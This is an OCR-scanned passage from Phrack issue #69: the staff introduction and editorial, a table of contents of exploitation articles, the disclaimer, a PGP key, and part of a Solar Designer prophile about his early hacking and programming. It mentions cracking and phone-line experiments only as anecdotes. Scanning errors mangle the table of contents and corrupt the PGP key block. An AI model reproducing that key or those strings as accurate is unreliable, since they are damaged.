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--[ Introduction 


Hello Phrack readers! It has been a long time, hasn’t it? Aren’t you 
relieved that the world didn’t end in 2012?! What if the Mayans were right? 
What if comets hit Earth? Yes, we were worried too, so we decided to take 
some time off and enjoy the last days of this planet. Once enough time had 
passed, we were pretty sure our species was not going to disappear. It was 
about time we returned to our blinking terminals again and finish what we 
started :> 


Um... yeah, that’s the reason the last Phrack release was back in 2012... 
UMiews Kind of. 


Damn, it took so long that even a Star Wars sequel was shot in the 
meantime! 


Anywayz, the Phrack Staff is back again, with a slightly different 
editorial, bringing you an awesome collection of articles from several 
respected hackers and other thinkers. No, we are not going to write a 
Prophile on our new team. Yes, there are still people who prefer Phrack 
over media whoring. The world is full of surprises. It took quite some 
time, but we hope this issue of Phrack will meet your expectations. 


One new addition to Phrack is the "Paper Feed" feature. The way it works is 
that you submit a paper, we review it and it gets published. No need to 
wait a month (or two years ;-) until you see your article in the next 
Phrack issue. When the time has come, we’ll decide to compile a new issue 
from the articles that have been submitted. The usual rules do however 
Still apply: we are proud of being one of the longest-running magazines and 
we’re especially proud of presenting quality content to our readers (yes, 
that’s you). Papers submitted to the paper feed are no exception! 


Phrack #69 brings you three new technical articles in addition to paper 
feed and the standard Linenoise, Loopback and International Scenes philes. 
The Firefox hater code-named argp presents advanced exploitation techniques 
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and attempts to build abstract primitives for taking advantage of various 
memory-related vulnerabilities on your "favorite" multi-heap browser ;> 
Huku, some guy who, obviously, visits porn sites a lot, has written an art 
of exploitation phile focusing on Adobe Flash Player (hey, this is not 

PO man!). Last but not least, uty presents a VI-x based technique for 
installing inline hooks and backdooring a whole system. We have spent much 
time debugging this, we hope you *do* like it. 


This release also comes with an excellent prophile on Solar Designer, a 
person we all respect for his knowledge, attitude and contributions. We 
were initially hesitant to contact him (yeah this guy has a damn busy 
schedule), but it turned out that Solar was positive about being 

prophiled. We believe this prophile will inspire a lot of people in the 
scene - it’s undoubtedly one of the best prophiles ever published in Phrack 
and a great honor for all readers. 


Enjoy maafakaz! 


--[ Dark thoughts about the future 


As we mentioned above, you have probably noticed a big change in the way 
Phrack papers are released. We have decided to also have a paper feed mode 
in addition to periodic releases, wher ach submitted work, that meets the 
requirements, is released as soon as it has undergone proper reviewing. We 
understand that this may not be as cool as releasing an issue at once, but 
it was a necessary choice we had to make to avoid having Phrack fade out of 
xistence. The hope with this, is that now all you crazy world traveling, 
conference speaking rockstars may have a medium for releasing a deeper dive 
into the technology that you are presenting, and we can publish this at 
the exact moment you are on stage. Personally, we would much prefer this 
than trying to extract it ourselves from your pretty slide decks. 


I guess we are all responsible for this. The community as a whole. The 
hackers, the phreakers and all those tech perverts out there who have 
stopped supporting Phrack. Trust me you would be disappointed if you had a 
look at our inbox... or maybe no one uses ANTISPAM anymore? :> 


For all you hackers out there thinking "I don’t have a large project 

ready for paper generation", consider writing something for Linenoise. 
Linenoise submissions take between a few hours and one day. As a community 
everyone has some small technique or cool trick that can save other peopl 
time, Linenoise offers an easy place to share these. 


In this issue you will find a very interesting article titled "The Fall of 
Hacker Groups". Take some time to read it through and wonder why the fuck 
did we get here. The state of mind of the community seems to be changing 
dramatically - what have you done to prevent hacking from practically 
disappearing? 


Quoting Phrack #63: 


"As long as there are hackers, there will be PHRACK magazine." 


Now take some time, read this issue carefully, and notice the "as long as" 
part in the previous sentence :> 


--[ Table of contents 


OXO1, . TRErOGuctt0n: sc.0% see ae tee i el ee ee ee eds Phrack Staff 
0x02 Phrack Prophile on Solar Designer ................... Phrack Staff 
Ox03- Phrack~ World -NE@WS: 20 «Sete see Glos oo eh -S ae ee OR a ee a Phrack Staff 


OxO4. BinNenowse- <5c4 wks tee Ws we SW ye oe See SS OES ON various 
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O05 “HOODDACK: prised tineus aah eee toe deca Seales res suse ede Besote bec teed bee vetoes teas Mele andy sartios Phrack Staff 
Ox06 The Fall of Hacker Groups ...... ce eee ee ee ee ee ee ees strauss 
0x07 Revisiting Mac OS X Kernel Rootkits ................. £G! 


0x08 Adobe Shockwave: 
A case study on memory disclosure .............-2200- Aaron Portnoy 


0x09 Modern Objective-C Exploitation Techniques .......... nemo 


OxOa Self-patching Microsoft XML with misalignments 


ANG LAC OL TANS: sacs hice tek este Bide S BLE Gc) Sire es, ies Se Bice Shed eee S Alisa Esage 
OxOb Internet Voting: A Requiem for the Dream ............ kerrnel 
OxO0c Attacking Ruby on Rails Applications ................ joernchen 
OxO0d Obituary for an Adobe Flash Player bug .............. huku 
Ox0e OR’ LYEH? The Shadow over Firefox ............-.---+00- argp 
OxO0f How to hide a hook: A hypervisor for rootkits ....... uty & saman 
OxtO! International ‘SCenes: oa). else eee ee See iS le ee various 


--[ Greetings & thanks 


For this issue we have a long list of people we would like to thank. This 
issue wouldn’t be complete had it not been for their support. 


* strauss : Straus... staruss... strsauss.. whatever man! 

* fG! : The legendary white hat(ed) hero! 

* Aaron Portnoy : Real name detected! 

* nemo : That lolcat you see in various memes ;-) 

* Alisa Esage : Knows how to write exploits and doesn’t work for PO 
* kerrnel : What’s with the extra "r"? 

* Jjoernchen : Ruby two-handed fapper 

* argp : Hardcore Shakira fan - Favorite song "Heaps don’t lie" 
* huku : Casual youporn uploader 

* sysk : Proud yolo Phrack supporter 

* uty & saman : Makefiles suck! 

* solardiz : Awesomeness prophiled 

* fjserna : Guest reviewer of, well, you can figure out what 

* anonymous : You know who you are, thanks for you support! 


Last but not least, Phrack Staff is indebted to <redacted> *wink *wink* 
for his support all these years. You have our respect for everything you 
have offered to this magazine. We are now in different teams, but we will 
always be glad to have some beers with you and talk about dirty hacks ;> 
See you soon man! 


Phrack is back! Prepare your arse for a new awesome release of your 
favorite zine. 


--[ Phrack policy 


phrack:~# head -77 /usr/include/std-disclaimer.h 
/* 
x information in Phrack Magazine is, to the best of the ability of 
he editors and contributors, truthful and accurate. When possible, 
facts are checked, all code is compiled. However, we are not 
mniscient (hell, we don’t even get paid). It is entirely possible 
omething contained within this publication is incorrect in some way. 
f this is the case, please drop us some email so that we can correct 
it in a future issue. 


Hunowo ct PB 


+ + + + F F 
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Also, keep in mind that Phrack Magazine accepts no responsibility for 
the entirely stupid (or illegal) things people may do with the 
information contained herein. Phrack is a compendium of knowledge, 
wisdom, wit, and sass. We neither advocate, condone nor participate 
in any sort of illicit behavior. But we will sit back and watch. 


Lastly, it bears mentioning that the opinions that may be expressed in 
the articles of Phrack Magazine are intellectual property of their 
authors. 

These opinions do not necessarily represent those of the Phrack Staff. 


+ + + + + + FF FF FF F F F F FX 
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Editors : staff[at 
Submissions : stafffat 
Commentary : Loopback 
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Submissions may be encrypted with the following PGP key: 
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(Hint #2: ANTISPAM or it didn’t happen) 


SSS BEGIN PGP PUBLIC KEY BLOCK-----— 
Version: PHRACK 


mQGiBEucoWIRBACFnpCCYMYBX0yg1 3LrH+WWM1 /g6WZxxwLM2IT65gXCuvOEbDLHR 
/O0dZ5T7Z6sO405b0EWkk 5palZ8egNp44t+FntExI78cv7ML9ffwlWEAS+raQwvN2w 
OWUsfztWHZgP f 4HMefX92pvt1kVcio/b0aRT51RbvD7IdYLrt YbOV7RYGwCgi60r 
dJI5iN+YVDMx81kUICI8kPxcD/1laHZqCzFx711//40t ZQNOndP1OEH+C7GD£YWi4P 
DcLN1F812h1qyJf30Cs93POR+fu7XWALyyoSrLHpF fuU29ZZH10e0VR6pLJTas2Z 
ZXNdU48Bhj1luf4Xv0ONaAY1LO5£FIIT4a37uIKYRn28sOwH/ 7P8VGD7K7EZn3MMyewo 
aPPsA/4ylQtKkaPB9iTKULimy5ZZorPwzhNliEbIanCGfePgPz02QMG8gnId40/o 
LuEOYK1GnUbIMOb6Lz12A5EuQxzGrWzDGOM3uLDLzJtBCg80KFrUoRVuldnPEqc/ 
NQzRY jRK8R8DoDa/QOZgynl 9pXx40QO3tAldI4dAQ022a jUhEoobQfUGhyYWNrIFNO 
YWZmIDxzdGFmZkBwaHJhY2sub3JnPohgBBMRAgAgBOJULnKFiAhsDBgsJCAcDAgQV 
AggDBBYCAwECHgECF4AACgkQOxgxUfYgthE7RagCeL/XirVrcUzgKBrJdGcvo0xjIE 
YLkAOIBGC2GuYJrXxPO/KaJtXglJjd7zuQQNBEuCOWIQEADrU+2GAZbDWbTELbIRp 
/MyoUNHm0gx0o7afqVdQe8epub/waQDlbnE+VucI7nemQWUdD0gkkyzax1lFDlvid 
LYh/dMu4/ht+nTyuCLNqoycqvf1lk8Dax6QOADq0BZ1M51GTL6VOBnCitWCvgYCmLO 
aPOlbacJ1Nx0/cpWKe+YEL1Zss70+o4SBvDOyX8B78eEs 62dbRAudubFQ/t jQd3z 
cXZ0S1i 9Du9DAa2vzk8tgqlc6RASONY4KxBut6VW/1xvGt 3iNR1LFQAdya6Kx3fhog 
ZV {kt 300gNDJ6u/ 9zYbMbt jtoFgqSTJDR4DhZ9INbS5 7nuTkJqhOGDVOt xfKcc8QxH 
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wyYiH47M9znHFtHHvTOPzGc2F18s3EUFVIXZUW3ikcFbkyqTgnseqv5k 9YO8FDHX 
IvBVpj8nqLlLi3CBADy8z2gy5r4TryV3sfOlTT40r0GtiG3Weeb0wuMj5+hr303zgN 
/aHt+tps8JvLOTeyXjSDMcTCF1f£HSTxPJouSWjOkFMrumAg/rikdn3+dPCCowcLKvQ 
isYC60yKEhcYvUDikKKzXrGyM/38Kp/73RA9ZLO3VjCSX550UCU4 6hF 6u60zbd5Jk 
T8WesPYqz4jpPz1lF1lMbaVki4+g5myTR8ylilarx08mk61+1YZyjjzmlhKyhdalil 
OY 4uv3EYYFDHiyd0/3ZBfkz62wADBO//bV£698IFhoLHeCG3USy1/rHy jVUatsCx 
ZCwP LWEGZR+RP 3XdqwoeF ZNA4hXYy30r1lvJSytbCRDYOK2Rp3Eos1Gncqp3KbUhQO 
ZRBxGNbhskZ7VHOVBHIIZ7QU3TDnWLD1Ws 90ha8zv9XWEmaBmC jBtmRwunphwdv2 
O7JpqLbW451/WAas 6CuRi+VxX11QPM2nKX9JwzyWlvnU3Qay0+JJwH5bfew0wz53 
wqMBJz 9hvVaC1lfAzwEnPnWOxxgA6j7S9AUEV7NRLZsC6nHyGwB/vFfL4dcKkt4cer 
gYOk5RJHAVNULJSLAVWREcxymPRKgO7harb9adrPcjJI7TECKXN1oPCcacG0O06vecTb 
k58MTzs3CShJ58iqVczU6ssGiVNFmfnTrYiHXXvo/+36ctTizwoxXJD7CNGDc+8C0 
IxKsZbxgvpFuyRRwrzr3PpecYO0I2cWZ7wN3WtFZkDi50tsIKTXHOozmddhAwxqGK 
eURB/yI/4L7t2Kh2EaVOyRbXNa4hwPbqbFiofihjKQ1fFsYCUUWOCAOaxXul4Qrrc 
TepRMQO2tabrYCfyNuLL3UwUFKinxs6SrFcSiWkr9Cpay70zx5Q0o0sV8YKpn6o0jejE 
H3XcORNF/wjYczO0SA6547AzrnS8 JkVIV2WIJS5g1lExvSxlozlHUS5Dcyn5faftztty 
ZMHTODSLFMGISQOYEQIACQUCS 5yhYgIbDAAKCRDGDFR9iC2ZETSNOAJ9ID3ArYTLnd 
lvUoDsu23bN4bf£ 7gHwCfUGDSUSAWE/G7xQaBuB50qXxXecJPo= 

=CcK7U 
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==Phrack Inc.== 


Volume Ox0f, Issue 0x45, Phile #0x02 of 0x10 


[ PHRACK PROPHILE ON ] 


[ Solar Designer ] 


Handle: 
AKA: 
Handle origin: 


Age of your body: 
Height & weight: 
Produced in: 
Urlz: 


Computers: 


Creator of: 


Member of: 
Admin of: 


Projects: 
Codez: 


Active since: 
Inactive since: 


|=---=[ Favorites 


---=[ Specifications 


Solar Designer 

solardiz. Also, I used to hide under my real name. 

A turn-based game played over FidoNet (which IIRC I 
played just once, but it took a while), and demoscene. 
In 1994, I needed a handle to register on "private" 
BBSes where real names were discouraged. I chose this 
one without giving it much thought, and it has stuck. 
Older than Pushkin 

Quite some & not much 

USSR 

http://www.openwall.com/phrack 

I imagine it will be gone when a historian reads this 
many centuries later. 
B3-21, MK-52, (no longer have my EC-1841), 386DX40+387, 
2x MicroVAX 3100-80, 2x Sun Ultra 5/10, Alpha 164SX (and 
I had a 21066-based Multia for a year before), HP 712/80, 
development boards (ZedBoard + Epiphany FMC, many ZTEX 
FPGA boards waiting for their use), routers, etc. (the 
EdgeRouter Lite is MIPS64, runs FreeBSD, and is used for 
general development, so surely qualifies as a computer?) 
HP200LX, Nokia Communicator series (9110, 9300, N900). 
Lots of semi-ancient x86 (e.g., dual Pentium 3, RIMMs) 
and many x86-64 (some laptops, etc.), some of which are 
frankly what I actually use these days. Some GPUs and 
Xeon Phi in boxes we’ve setup for the larger community. 
I’m the original author of most of the individual pieces 
of software released under Openwall, including John the 
Ripper password cracker and Linux 2.0.x to 2.4.x -ow 
security hardening patches (now historical). Openwall 
GNU/*/Linux distro, with a team. More recently yescrypt, 
with 1.0 release planned in 2016. Assorted programs for 
DOS in a previous life, including (but not limited to) 
"software protection" and cracks. 

Back in 1990s: BPC, uCF; I also participated in w00Ow00. 
Openwall. We host some moderated mailing lists, etc. - 
including e.g. oss-security and kernel-hardening, and 
also including the private distros list (which sort of 
replaced vendor-sec and those predating it, and which I 
always have mixed feelings about). That’s already-public 
info, and it has to be such, so no OPSEC fail here. 

Most of those currently active at Openwall. 

You mean stuff that is of more hack and historical value 
than of direct use? I am often reminded of those first 
ret2libc exploits I sent to Bugtraq in 1997. I’11 
mention a few more further in this prophile. 

1994? I was not into "the scene" befor 

1997? I no longer release under a group since then, so 
maybe not on the scen ither? Besides, we got a 
CFAA-alike in Russia since 1997, limiting the playground. 
That said, I was doing computer stuff before 1994, and I 
still am now. 


Actors: Not really. I think screenplay matters more. I recognize some 
screenwriters and directors like Gilliam and Zemeckis. Oh, 
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actually, let me agree with PaX Team’s answer here —- Chaplin - 
as this is consistent with what I just said. 

Films: I can’t pick just a few favorites, but I was relieved to find 
out that The Shawshank Redemption ranks so high on IMDB. Maybe 
the humanity has hope (or at least IMDB reviewers do). 

Authors: I really would rather not name just a few, or I’d later regret. 
(I already almost regret mentioning just some directors above.) 

Meetings: What’s meant to go into this field? Where to meet? 
Restaurants, cafes, bars without loud music (unless 
intentionally attending a live performance). I’d also consider 
meeting at a hackerspace. I rarely meet people in person, 
though. To compensate for that, I really like it how there are 
now two practical ("non-paper") computer security cons in Moscow 
per year - PHDays in May and ZeroNights in November - with 
mostly the local crowd, but always also some foreign speakers 
and attendees. 

Sex: What’s the right answer? Something like y?(+++++++)? 

Books: I’d say encyclopedia. Now that would be Wikipedia. 

Novel: Sadly, I am not reading much. If I were, I would probably not 
be able to single out just a few titles. As a kid, I read War 
and Peace, and I liked it. (I hear it was also taught in Soviet 
schools, but luckily I skipped that and read it on my own will.) 

More relevant to Phrack readers, I also recall I liked reading 
(in 1990s) Stephen King’s The Dead Zone and John Varley’s Press 
Enter (OK, that one is too short for a novel, and I had to look 
up who wrote it to refer to it now, but I did in fact like it). 
Meeting: HAL2001 stands out because it was a first for me, and I liked 
its atmosphere and extent. 
Music: There are few genres that I don’t recall ever enjoying listening 
to, but I tend to especially like rock, jazz, bossa nova. 
Alcohol: Dark beer 
Cars: No favorite, and not my thing, but some do look stylish to me or 
have a history or fiction attached to them (such as the 
DeLorean, which apparently wasn’t that good a car otherwise). 
I also value the designers’ achievements. At a local retro 
sports car exhibition last year, it was interesting for me to 
see how greatly the horsepower per cc and torque per cc improved 
over the years, and how a few custom engines stood out. It’s an 
optimization problem not entirely unlike what we have in 
computing and communications, where some designs were also 
"ahead of their time". 
Girls: Not between Cars and Food 
Food: Italian is usually a safe bet 
I like: All sorts of freedom (as long as it doesn’t infringe on someone 
else’s), free time, good people, nature, (im)perfection 
I dislike: Simply inverting the "I like" above would be bad enough as it is 
(except that (im)perfection is its own inverse). 
I’d rather not provide even worse (or better, from adversary’s 
POV) hints than that. Oh, I’11l add just one: filling out guinea 
pig forms like this... but who am I to break the tradition? 


|=---=[ Life in 3 sentences 


Way too little achieved in this much time. I could do a lot more, but if I 
act unnaturally would that still be me? (Rhetorical.) 


|=---=[ Passions, what makes you tick 


Curiosity and self-defined challenges (especially if unannounced so they 
don’t become a drag) combined with whatever else I like. 


|=---=[ Memorable experiences 


You suggest some questions along the lines of "how did you start?" to be 
answered for your readers further in my prophile, so I’1l turn this section 
into a background story for answering those. It got rather long (and 
off-topic?), so your readers should feel free to skip to the next section 
and maybe revisit this one later. Here we go, with some recalled or maybe 
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just made up computer and electronics related experiences from 1980s and 
1990s roughly in chronological order: 


Nearly winning a Darwin award as a kid. Before I got access to computers, 
I was having fun with electrical circuits, and some of those experiments 
were not well-suited for a kid nor always conducted with appropriate 
precautions. Luckily, this only made me stranger. When I was 8, I learned 
the hard way that you don’t test a hypothesis by assuming it’s true and 
just letting things go wrong if you’re wrong, if "wrong" can mean it’d be 
the last thing you’d realize. If you feel you need to test, you recognize 
there’s a chance you are (or something is) wrong. It’s just like how you 
shouldn’t test whether your restarted sshd still works by first logging out 
and then trying to log back in - something I still see adults do, 
presumably because they were not that close to be Darwin winners as kids. 


Playing with Soviet cable radio during a few of the "technical breaks" 
(when normal broadcast stopped). Listening to foreign shortwave stations 
(DXing?), including through the jamming (was more tolerable out of town). 


Finding near the garbage cans a cabinet drawer with tools (including a 
soldering iron), electronic parts, and all 12 of the Soviet "Radio" 
magazine issues from 1966. I guess someone had passed away, someone who 
ended up having some influence on me. (Later I actually built and briefly 
tested an 80 meter band transmitter described in one of those issues, based 
on two vacuum tubes, but I never got into ham radio.) 


Fast arbitrary precision division (typically 5 digits per iteration), 
writing down some 100+ digit periodic sequences, which felt like magic 
(will this thing repeat after N-1l digits again? oh yes it does), ona 
non-programmable 8-digit calculator. I came up with the algorithm on my 
own. I didn’t know the word "algorithm" back then, nor programming. 


Exploring and eventually programming my father’s B3-21, with great fun. 


Getting some written-off Soviet mainframe boards with K155 series TTL chips 


on them (equivalent to 74 series), mostly K155LA3 (7400). Luckily, a book 
on those just happened to arrive to a nearby bookstore, so I started 
building my own logic circuits. I recall craving for more K155TM2’s (7474, 


dual D flip-flops), which were lacking. I ended up desoldering a K155TM2 
from an expensive toy, which I was done playing with, to build my own toys 
with the flip-flops. In general, almost all of the electronic parts I was 
building circuits from had been previously used. You couldn’t just go toa 
store and buy parts that you needed when you needed them. For example, I 
didn’t have enough LEDs, so I used transistors and bulbs to indicate logic 
levels like if it were 1960s or 70s. 


Since 1989 or so, having sporadic time-limited access to BK-0010 and a 
variety of x86 ranging from different PC/XT clones (with green phosphor 
CGA and Hercules monitors) to early 386+287 (with early vendor-specific 
SVGA) and then even the super fast & pricey 386+387 33 MHz. (I think 486s 
were still subject to CoCom export regulation.) There was also a Japanese 
24 pin dot matrix printer capable of up to 360 dpi, with a decent user’s 
manual on its escape sequences, so I actually printed graphics in 360 dpi 
on it, multi-pass and very slow of course. My own vector font, too, 
created in my own font editor. Not having much time to debug code on the 
actual machines, I initially wrote programs on paper and debugged them 
mentally, then typed them in and they had to work right with only minor 
changes needed. (This skill later proved especially helpful for firmware 
modification, as well as for exploits.) 


It’s during this period that I learned 16-bit x86 asm through reading some 
books and a printout of the disassembly of KILL.COM, a ~4 KB DOS TSR 
program that allowed a user to forcibly kill the currently active program 
and return to DOS, with both this tool and the Sourcer disassembler having 
been given to me by a friend on a floppy. Other languages explored 
included: BASIC dialects; Fortran for bringing programs (that my father was 
using for work) from mainframes to PC; Turbo Pascal, which worked the 
smoothest, but couldn’t use 386’s protected mode yet (unlike one of the 
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Fortran compilers, which could). (A bit later, I wrote a Fortran 66 to 
Pascal source level translator that would reconstruct program structure 
from all those labels. Many years later, I migrated some of those Pascal 
programs to Linux/Alpha, building them with GNU Pascal, mostly for fun.) 

I also briefly started with C in 1990 or so, but soon abandoned it because 
of inefficient static linking under DOS (too much dead code). 


Back then, and in DOS, the command-line felt like it was being obsoleted by 
tools such as Norton Commander (and then its many clones) and Borland’s or 
Microsoft’s recently introduced IDEs for their compilers, but somehow not 
for the assemblers, nor for Fortran. By 1992, I had an own IDE developed 
for DOS (yes, first written on paper, piece after piece, and then typed in 
during those occasional computer sessions), which had its own text editor 
(as well as bells and whistles such as a calculator - but no, exploits 
didn’t pop it up) and it was capable of running the CLI compilers with 
their output captured via INT 10 intercept and analyzed, so it would place 
the cursor right at the error line, just like those vendors’ IDEs did. Of 


course, it could also run the just-compiled program... and it could kill 
it, too. Somehow I felt this was important enough for me to have bothered 
with all this effort (or maybe it was just about the challenge, as usual). 


Over a few years, I also worked on other TUIs and GUIs for various programs 
(ranging from 320x200 CGA to weird VGA ModeX resolutions and to 1024x768 
SVGA under DOS, with my own drivers and my port of Borland’s Turbo Vision 
from text to graphics modes). (It’s only after I discovered Unix that I 
realized I am perfectly comfortable using a compiler from the command-line, 
and don’t really need IDEs. These days, I am not using any IDE. Maybe I 
also moved to developing different kinds of software, where IDEs are less 
helpful. I don’t oppose to using an IDE again for a right project.) 


5 


MK-52 with its whopping 512 bytes of EEPROM on top of these calculators’ 
tiny program and data memories. Yeggogology, where you explore th 
undocumented world of the calculator trying not to hit the darkness (you 
have to power-cycle when you do). 


Together with my father, buying our first home computer, the Soviet PC/XT 
software compatible EC-1841, from its previous owner, for a full bag of 
Soviet 5 ruble banknotes weighing a few kilograms. IIRC, my father got 
thos arlier the same day as a withdrawal of a very recent payment (so not 
yet eaten up by the inflation), which came for a project I contributed to 
as well. Somehow the bank only had sealed packs of 5 ruble bills. 


"Snow" on CGA screens, and suppressing it, or choosing not to - for speed. 


Low-level formatting a brand new unformatted 20 MB MFM hard drive (ST-225), 
for a neighbor’s EC-1845, with a program I wrote for this one occasion (OK, 
I cheated - used BIOS calls - but not a do-it-all routine, which I was not 
aware of and might not have had in my BIOS). Tuning the interleaving, too. 


In 1993, already on a 386 at home, cracking a key floppy protected program, 
using nothing but DOS debug, paper and pencil, many reboots and patience. 
Since then and until 1996, I went into both cracking and creating "software 
protection" systems - initially naive, then smarter, and eventually moving 
from simple code encryption and anti-debugging tricks (eventually confusing 
non-patched SoftICE alright through inconsistent opcode and ModR/M byte 
combinations, handling those on INT 6) to use of VMs (NOR CPU, reinventing 
OISC as I realize now). 


A couple of years later, a brief encounter into creating key floppies for 
software protection, with arbitrarily-numbered different-size sectors ona 
track and some decoys. A Winl6 DLL, written in asm and using Winl6/DPMI/ 
BIOS calls, to check this floppy. BIOS actually allowed for a lot of 
flexibility through temporarily patching the diskette parameter table from 
a critical section. Of course, this was easily crackable in software, but 
that was OK for the given project. 


Game programming, on all devices ranging from the calculators (for 
turn-based games, as the only way to provide input without interrupting the 
program was via the radian-degree switch) to computers. Reuse of ChiWriter 
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printer fonts for good-looking large captions on screen. Playing some 
computer games too. Eventually own multi-window graphics/sprite editor, 
own adventure gam ngine (both recently reused in DOSBox for my ZeroNights 
2014 keynote game, and as a toy for my son, who ended up adding so many 
sprites to his game that he triggered a stack overflow in the gam ngine). 


Getting on BBSes via a 2400 bps modem in 1993. 


Getting on the Internet and on Unix in 1994 - and revisiting C programming. 
FTP sites, Archie. Then early web sites, AltaVista. X.25 PADs, mostly as 
a means to get to a system that would have Internet. Linux kernel 1.2.3 on 
my 386. Playing mouse to retain Internet access and development access to 
non-x86 boxes, and getting a bit carried away. Back then, I didn’t quite 
realize I was merely playing mouse, with cats out there. I also didn’t 
realize not all other players treated this as a game. I did have other 
ways to get online, such as when physically visiting places that had 
Internet access, as well as by using single-line dialups that friends set 
up in such places, but I couldn’t reasonably use them as much as I wanted 
to and they were not part of the game. 


Implementing DES in assembly for 32-bit SPARC to use double-register load 
and store instructions (thus, 64-bit), which the C compiler somehow 
wouldn’t use. The fun part was debugging this on x86, as I didn’t have a 
SPARC at home yet and didn’t want to do it all online, so I wrote a partial 
SPARC to x86 assembly source level translator to let me get the computation 
right before testing and optimizing on a remote Sun machine. (Later I also 
wrote similar DES code in assembly for Alpha, but debugged it on the real 
thing right away.) 


Longwave (a few hundred KHz carrier) radio transmission experiment from my 
resistor-based Covox on the 386’s printer port. I could pick up Led 
Zeppelin’s Immigrant Song, which I had digitized from an audio cassette at 
6-bit 20 kHz mono via a two-transistor comparator on the same Covox and was 
now transmitting, on a commodity receiver from a few meters away. So I 
totally reinvented software-defined radio on my own, having no idea it was 
already a thing (Wikipedia says so). Now this could be called an airgap 
bypass PoC (or not, since the receiver wasn’t a computer), but I didn’t 
think in such terms back then. (And yes, I didn’t have a real soundcard.) 


Audio playback via floppy drive motors (2 signal levels: low on 3.5", high 
also on 5.25"). Yes, Immigrant Song again. It’s only recently that I 
learned others did this too (there are videos on YouTube), albeit 
apparently without the 2-level separation (and instead with multiple 
channels) and for sheet music rather than for arbitrary audio recordings. 


A brief experiment with blueboxing using the same Covox, with little luck: 
the line responded to 2600+2400, but seemingly ignored other CCITT #5 
s 
e 
i 


ignals. (Apparently, blueboxing with different signaling worked on 
x-USSR lines, but usually wasn’t completely free, and I never tried to get 
nto it. Arbitrary dual-tone capability was even included in the Russian 
Courier modems, which were different hacks of USR modems.) 


USR Courier modem firmware hacking: I put a debugger with disassembler and 
breakpoint support right in there, available via added AT commands, just 
for fun. (How do you implement breakpoints when the code is in EEPROM and 
the CPU lacks hardware breakpoint support? By keeping the CPU in 
Single-step mode while there’s a breakpoint set! Is it still fast enough 
for the modem to work, then? Turns out that for the supervisor CPU, not 
the DSP, the answer is yes, although the lag is barely bearable.) 


The disassembler I wrote had only 164 bytes of native code (could it be the 
smallest disassembler ever written for a complete CISC ISA?), with the rest 
(over 2 KB) being data: a special-purpose data structure with arbitrary bit 
patterns to match and strings to print, and cross-references for reuse of 

common patterns and substrings across instruction groups. Is this possibly 
interpreted code in a domain-specific language rather than data? "What’s 

the difference?" (WOPR’s answer in WarGames, could be about code vs. data) 
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Making mostly non-impressive intros, probably not my thing. I might have 
contributed to the smallest categories appearing (128-byte initially) by 
advocating this in a Russian FidoNet group where the first such competition 
was then carried out (and where my entry shared second place with another 
participant’s), with other competitions in these sizes appearing 
internationally shortly thereafter (as the 20 intros from the first Russian 
competition were uploaded to foreign sites). 


Winning a contest for smallest "mkdir -p" implementation for DOS, with a 20 
bytes entry: BA 82 00 5F B8 5C 39 31 05 47 AE 75 FD 4F 31 05 CD 21 EB FO. 
How does this program terminate cleanly? Self-modifying code, and moreover 
letting the program XOR over itself. (The contest rules were weird: only 
documented DOS features and startup register values, yet OK to require 
trailing backslash. 19 bytes was demonstrated possible, and less than that 
might be, with reliance on undocumented startup register values.) 


Being wrong yet over-confident or/and elitist on some occasions - luckily 
not many (that I recall). Not good of me. 


In 1997, joining an ISP (by demonstrating a vulnerability, of course) and 
starting to play cat to keep mice under control (but not hurt), as well as 


not needing to play mouse myself anymore. A tiny unreleased exfiltration 
detector I wrote at the time was called Tom. [There was also, in modern 
terms, a metadata analysis tool for traffic to one of the first social 
networks -— ICQ, which was extremely popular among Windows users here - to 
keep track of abusers on dialup lines despite changing accounts, and even 
be alerted when a friend-of-abuser shows up. That tool I never let 
anyone else use, and never released, for ethical reasons. (Of course, I 
was "entitled" to use it, right?.. Oh, excuses.) 


On a related note, caller IDS were very common at homes in Russia, starting 
to appear in early 1990s. These were based on inexpensive telephones with 
most of their original contents thrown out and replaced by a board with a 
Soviet clone of 8080 or with an imported Z80 CPU. They reused in-band 
signaling initially intended for use by long-distance exchanges (with the 
caller’s line disconnected for a moment with a relay at their local phone 
exchange, to prevent spoofing), but technically also available to the 
called party on local calls (and easily audible and tamperable with by the 
caller, since the long distance call’s anti-spoofing relay wasn’t 
triggered). Despite of their popularity at homes, they were almost never 
used on dialup lines. Similarly, while some late modem firmware hacks 
included caller ID functionality for ex-USSR, those were targeted at 
consumers (including e.g. FidoNet nodes) rather than ISPs. It’s only with 
the move of dialup lines to digital interfaces (E1) reaching into the ISPs 
in late 1990s to early 2000s that caller numbers commonly started to appear 
in TACACS+ or RADIUS server logs at ISPs. Until then, it was cheaper to 
extract and selectively log ICQ UINs. 


Also in 1997, posting a rough non-executable user stack patch for the Linux 
kernel to LKML while running it on my very computer, and being told that it 
can’t work (because signal handlers, which I had already worked around in 
the patch I posted, and gcc trampolines, which I had not encountered yet 
due to libc5 rather than early glibc). 


The ISP’s chief sysadmin’s reaction when I casually mentioned that my Linux 
kernel patch we were about to install on the servers had just started to 
use ring 2, in addition to 0 and 3. (We did install, and it worked great.) 


Apparently, forgetting my childhood Darwin lessons and letting a coworker 
at the ISP flash my modified firmware (fixing a connection stability 

issue) into all 16 of the modems in a Total Control unit without 
power-cycling it after the first flash... and getting the checksum wrong. 
Oops. (The modems then worked fine until power-cycle.) Luckily, recovery 
was as easy as for the individual Courier modems, so not a big deal, but it 
did cost some downtime for those 16 lines (there were many more already). 


Tweaking L2 cache timings of the dying Multia to prolong its life, having 
read up on 21066’s "internal processor registers". Then returning it to 
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its owner and buying 164SX+21164PC of my own in 1998, and tweaking L2 cache 
timings via 21164PC’s different IPRs the other way for speed (years later, 
my tweaks would turn out to reliably result in a specific miscompile when 
building our Linux distro, Owl - oops). Tweaking a Modeline for 2000x1500 
on a 21" CRT (worked, but was painful to look at because of low refresh 
rate; I actually used 1600x1200). In general, tweaking lots of things. 


Finally playing with VMS on VAX a little bit (and VT420’s, with yellow 
phosphor for a change), including e.g. mounting a filesystem from tape - 


something normally not possible on Unix where tape drives are character 
devices. DECnet between Linux and VMS. 

This brings us almost to 2000s. I’11 cover some of the newer stuff below. 
|=---=[ Quotes 


I have no favorites, but I find these relevant: 
"Is this a game or is it real?" (WarGames) 


"If you shame attack research, you misjudge its contribution. Offense and 
defense aren’t peers. Defense is offense’s child." (John Lambert) 


|=---=[ What’s your opinion about Phrack? 


I was about 10 years late to the party. I think I got my hands on a pack 


of Phrack issues for the first time in 1994 or 1995. Phrack has been 
changing: it had already changed by the time I first saw it, and it has 
hanged since. I think that’s fine. It doesn’t need to revert to the 
